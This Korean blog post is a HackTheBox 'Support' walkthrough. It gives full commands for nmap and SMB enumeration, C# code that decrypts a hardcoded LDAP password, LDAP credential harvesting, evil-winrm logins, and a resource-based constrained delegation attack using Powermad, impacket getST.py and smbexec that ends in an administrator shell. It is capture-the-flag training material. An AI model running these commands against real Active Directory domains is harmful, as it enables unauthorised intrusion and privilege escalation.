본문 바로가기

Hacking/HackTheBox

support

1. Nmap 수행 (in Kali)

┌──(root㉿DESKTOP-SQ6IV61)-[/home/surckers]
└─# nmap -p- --min-rate 10000 10.129.230.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-31 13:08 KST
Nmap scan report for 10.129.230.181
Host is up (0.28s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49678/tcp open  unknown
49681/tcp open  unknown
49764/tcp open  unknown
56968/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 14.97 seconds

┌──(root㉿DESKTOP-SQ6IV61)-[/home/surckers]
└─# nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.129.230.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-31 13:11 KST
Nmap scan report for 10.129.230.181
Host is up (0.28s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-31 04:11:14Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-03-31T04:11:34
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: -3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.09 seconds

[포트 정보]

 - DNS : 53

 - LDAP : 389, 3268, 3269

 - DC : 88 (kerberos)

[nmap 옵션]

- sC: 기본 스크립트를 사용하여 추가 정보를 수집하라는 의미입니다. 이 옵션은 nmap의 스크립팅 엔진을 활용하여 보안 취약점, 서비스 정보 등을 자동으로 수집합니다.

- sV: 서비스 검색을 수행하여 포트에서 실행 중인 서비스의 버전 정보를 파악하라는 의미입니다. 이는 각 서비스의 상세 버전 정보를 파악하여 취약점을 찾는 데 도움을 줍니다.

[결고 적용]

- 파악된 도메인 및 DC 서비스 정보를 활용하여,

호스트 파일에 입력

10.129.230.181 dc.support.htb support.htb

2. Enumeration 수행

수행할 Enumeration 단계별 대상

>>  최우선

  - SMB : share 확인

  - LDAP : credential 없이 얻을 수 있는 정보 확인

>> 중요

  - Kerberos : Brute-force 를 통해 username 을 얻을 수 있는지, 

  - DNS : 서브도메인 확인

  - RPC : anonymous 접근이 가능한

 

>> 확인사항

 - WinRM 접근 가능 여부

 

2-1 SMB 정보 파악

smbclient 사용

비밀번호 입력 요청 시 엔터 입력 > 6개의 SMB sharing 확인

그 중에서 support-tools 만 default sharing이 아님 > 접근 시도

UserInfo.exe.zip 만 public 한 파일이 아님 > download 수행

> get UserInfo.exe.zip Info.exe.zip

 

2-2 PE파일 Binary 분석

> 다운로드 받은 파일을 .net 실행 파일 디컴파일러 (DNSpy)를 활용하여, 코드 분석 수행

LDAP://supprot.htb 호출 시 사용하는 support 계정의 password => Protected.getPassword();

해당 getPassword 함수 수행하여, password 획득 가능

위 클래스 코드를 즉시 실행 출력 가능한 메소드 타입의 C# 소스코드로 변경

using System;
using System.Text;

namespace MyCompiler {
    class Program {
        public static void Main(string[] args) {
          {
              string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
              byte[] key = Encoding.ASCII.GetBytes("armando");
              byte[] array = Convert.FromBase64String(enc_password);
              byte[] array2 = array;
              for (int i = 0; i < array.Length; i++)
              {
                  array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 223);
                }
              
              Console.Write(Encoding.Default.GetString(array2));
              }
            }
        }
    }

결과값 :

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

획득한 password 로 evil-winrm 시도

#evil-winrm : WinRM shell

: WinRM > Windows Remote Management 의 줄임말로, SOAP 베이스로 하드웨어 및 소프트웨어 상호간 통신 할 수 있게 하는 프로토콜

: SOAP > SOAP(Simple Object Access Protocol)은 일반적으로 널리 알려진 HTTP, HTTPS, SMTP 등을 통해 XML 기반의 메시지를 컴퓨터 네트워크 상에서 교환하는 프로토콜

 

2-3 ldapsearch를 활용하여 ldap 정보 조회

ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | tee ldapsearch.log

-x : 간단한 인증 사용

-H : LDAP url

-D : LDAP 사용자 DN( Distinguished Name)

-b  : 검색할 베이스 DN > support.htb ldap의 Users 컨테이너 검색 

tee 옵션 > 화면에 출력 + 파일로 저

 

많은 데이터가 조회되며, 이중 특정 user의 비밀번호가 있을 만한 필드는 info 로

info 가 포함된 줄 출력

cat ldapsearch.log | grep --color=always "info\|$"

 

이제 evil-winrm 을 써서 해당 계정으로 접근 수행 후 flag 획

 

3. 목적 ! : NT AUTHORITY/SYSTEM 권한 획득

3-1 ldapdomaindump 이용 

support 유저의 권한을 확인하기 위해 ldapdomaindump 수행

ldapdomaindump -u 'support\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' dc.support.htb

support 계정의 권한 : Shared Support Account, Remote

Shared Support Accounts, Remote Management Users

3-2 bloodhound 이용

SharpHound.exe 업로드 및 덤프 생성 수행 

download 명령어를 수행하여, 생성한 덤프 다운로드

Shared 계정의 DC에 대한 GenericAll 권한 확인
> User 의 권한 변경 가능

3-3 권한 상승 공격 수행

Shared 계정의 GenericAll 권한을 이용하여, 권한 상승 이용

 

1) 필요 도구

- impacket : SMB, MSRPC, NetBIOS, Kerberos 등과 같은 다양한 네트워크 프로토콜을 지원하며, 이를 이용한 여러 가지 보안 평가 및 공격 기법을 구현

  1. 인증 우회 및 세션 하이재킹: 네트워크 프로토콜을 이용해 인증 과정을 우회하거나 이미 인증된 세션을 하이재킹하는 기법을 시험할 수 있습니다.
  2. 패스워드 해싱 추출: 네트워크 프로토콜을 통해 시스템에서 사용자 계정의 패스워드 해싱을 추출할 수 있습니다. 예를 들어, SMB 프로토콜을 이용한 공격으로 NTLM 해시를 추출할 수 있습니다.
  3. Kerberos 공격: Kerberos 인증 체계에 대한 공격을 시행할 수 있으며, 예를 들어 Golden Ticket, Silver Ticket 공격, Kerberoasting 등을 수행할 수 있습니다.
  4. 리버스 엔지니어링 및 프로토콜 분석: 네트워크 통신을 분석하고, 프로토콜의 작동 방식을 이해하며, 보안 취약점을 식별하는 데 사용될 수 있습니다.
  5. 네트워크 서비스 에뮬레이션: 공격자가 네트워크 상에서 다양한 서비스(예: SMB, HTTP 서버 등)를 에뮬레이트하여, 내부 네트워크 상에서 추가적인 공격 벡터를 생성할 수 있습니다.
git clone https://github.com/SecureAuthCorp/impacket.git

- Powermad :  사용자, 컴퓨터 계정 생성, Kerberos 티켓 조작, DNS 레코드 추가와 같은 작업을 수행할 수 있게 해줌

git clone https://github.com/Kevin-Robertson/Powermad.git

- Rubeus : Kerberos 프로토콜을 조작하고 이용하는 데 중점

  1. GT (Ticket Granting Ticket) 요청과 관리: Kerberos 인증에서 사용되는 TGT를 요청, 덤프, 갱신하는 기능을 제공합니다.
  2. 서비스 티켓 요청: 서비스에 접근하기 위한 서비스 티켓을 요청하는 기능을 제공합니다.
  3. 티켓 캐싱과 관리: Kerberos 티켓의 캐싱 및 관리 기능을 제공합니다.
  4. 티켓 위조: 공격자가 임의의 사용자로서 인증할 수 있도록 Kerberos 티켓을 위조하는 기능을 제공합니다.
  5. Pass-the-Ticket (PtT): 이미 획득한 티켓을 사용하여 다른 시스템에 접근하는 기술입니다.
  6. Kerberoasting: 서비스 계정의 비밀번호를 추출하기 위해 서비스 티켓을 악용하는 공격 기법입니다.
  7. AS-REP Roasting: pre-authentication이 비활성화된 계정을 대상으로 하는 공격 기법으로, 이를 통해 사용자의 해시를 추출할 수 있습니다.
git clone https://github.com/GhostPack/Rubeus.git

Evil-Winrm으로 해당 서버 재접속

evil-winrm -i support.htb -u 'support' -p 'Ironside47pleasure40Watchful'

 

2) 서버측 세팅

 - 가짜 pc 추가

 - 가짜 pc Constrained Delegation privilege 세팅

 - password hash 생성

Powermad, Rubeus 업로드

#Powermad 파워쉘 모듈 호출
Import-Module ./Powermad.ps1

#변수 설정
Set-Variable -Name "FakePC" -Value "FAKE01"
Set-Variable -Name "targetComputer" -Value "DC"

#새로운 머신 계정 생성
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
#New-MachineAccount: 새로운 머신 계정을 생성하는 명령입니다.
#MachineAccount: 생성할 머신 계정의 이름을 지정합니다. 여기서는 Get-Variable -Name "FakePC"를 통해 FakePC 변수에서 값을 가져와서 사용합니다. 이 경우, FakePC 변수의 값은 이전에 "FAKE01"로 설정되었습니다.
#Password: 계정의 비밀번호를 지정합니다. 여기서는 '123456'이라는 비밀번호를 ConvertTo-SecureString을 통해 안전한 문자열로 변환하여 사용합니다. -AsPlainText와 -Force 옵션은 평문 비밀번호를 안전한 문자열로 강제 변환하는 데 사용됩니다.
#Verbose: 명령어 실행 과정에서 더 상세한 정보를 출력하도록 합니다.

#targetComputer에 $FakePC 지정(Kerberos 위임을 허용)
Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')

#PrincipalsAllowedToDelegateToAccount 권한 부여
Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount

Fake PC생성 및 AD의 PrincipalsAllowedToDelegateToAccount 권한 부여

추후 사용을 위해 hash 저장

 

3) 공격수행

 #Impacket 라이브러리 중 getST.py 코드를 이용하여 ST 서비스 티켓 (kerberos) 획득
 python3 getST.py support.htb/FAKE01 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 35CE465C01BC1577DE3410452165E5244779C17B64E6D89459C1EC3C8DAA362B
 
 # Kerberos 인증 티켓 캐시 파일을 지정
 export KRB5CCNAME=administrator@http_dc.support.htb@SUPPORT.HTB.ccache
  
 #-k옵션> Kerberos 인증을 사용하여 support.htb  smb 접근
 python3 smbexec.py support.htb/administrator@dc.support.htb -no-pass -k

 

'Hacking > HackTheBox' 카테고리의 다른 글

Giddy  (0) 2024.05.15
escape(windows)  (2) 2024.04.16
Aero  (1) 2024.02.20
Analytics  (0) 2024.02.13
devvortex  (1) 2024.02.01